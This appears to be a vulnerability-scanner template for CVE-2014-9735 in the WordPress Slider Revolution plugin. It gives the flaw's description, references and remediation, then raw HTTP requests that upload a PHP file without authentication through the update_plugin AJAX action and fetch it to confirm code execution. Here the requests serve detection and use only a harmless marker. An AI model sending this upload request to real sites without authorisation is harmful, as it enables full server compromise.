id: CVE-2014-9735 info: name: WordPress RevSlider - Remote Code Execution via File Upload author: iamnoooob,pdresearch severity: high description: | The ThemePunch Slider Revolution (revslider) plugin before 3.0.96 for WordPress and Showbiz Pro plugin 1.7.1 and earlier for Wordpress does not properly restrict access to administrator AJAX functionality, which allows remote attackers to (1) upload and execute arbitrary files via an update_plugin action; (2) delete arbitrary sliders via a delete_slider action; and (3) create, (4) update, (5) import, or (6) export arbitrary sliders via unspecified vectors. impact: | Unauthenticated attackers can upload and execute arbitrary PHP files, leading to complete server compromise, data theft, and potential lateral movement within the network. remediation: | Update to Slider Revolution version 3.0.96 or later, or remove the plugin if not in use. reference: - https://whatisgon.wordpress.com/2014/11/30/another-revslider-vulnerability/ - https://nvd.nist.gov/vuln/detail/CVE-2014-9735 - https://www.exploit-db.com/exploits/35385 - https://wpvulndb.com/vulnerabilities/7954 - https://plugins.trac.wordpress.org/browser/patch-for-revolution-slider/trunk/revsliderpatch.php classification: cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P cvss-score: 7.5 cve-id: CVE-2014-9735 cwe-id: CWE-264 epss-score: 0.75256 epss-percentile: 0.99453 cpe: cpe:2.3:a:themepunch:showbiz_pro:*:*:*:*:*:wordpress:*:* metadata: vendor: themepunch product: showbiz_pro framework: wordpress tags: cve,cve2014,wordpress,revslider,fileupload,rce,plugin,wp,unauth,intrusive,vkev,vuln variables: marker: "{{randstr}}" b64marker: "{{base64(marker)}}" filename: "{{rand_base(5)}}" flow: http(1) && http(2) http: - raw: - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryWJDMjlXCUnC1rnZg ------WebKitFormBoundaryWJDMjlXCUnC1rnZg Content-Disposition: form-data; name="action" revslider_ajax_action ------WebKitFormBoundaryWJDMjlXCUnC1rnZg Content-Disposition: form-data; name="client_action" update_plugin ------WebKitFormBoundaryWJDMjlXCUnC1rnZg Content-Disposition: form-data; name="update_file"; filename="{{filename}}.zip" Content-Type: application/zip {{zip('{{filename}}.php','')}} ------WebKitFormBoundaryWJDMjlXCUnC1rnZg-- matchers: - type: dsl dsl: - 'contains_all(body, "Update in progress...","wp-admin/admin.php?page=revslider&view=sliders")' - 'status_code == 200' condition: and internal: true - raw: - | GET /wp-content/plugins/revslider/temp/update_extract/{{filename}}.php HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'contains(body, "{{marker}}")' - 'status_code == 200' condition: and # digest: 4a0a0047304502202cf362a958424fe82d538ddd0cf78f633f467b675293e8946c8713f647e93d3f022100a2d0c88bb7561ba96c284571b2e656da4b33a93e55db485be4c7e3c1751477a3:922c64590222798bb761d5b6d8e72950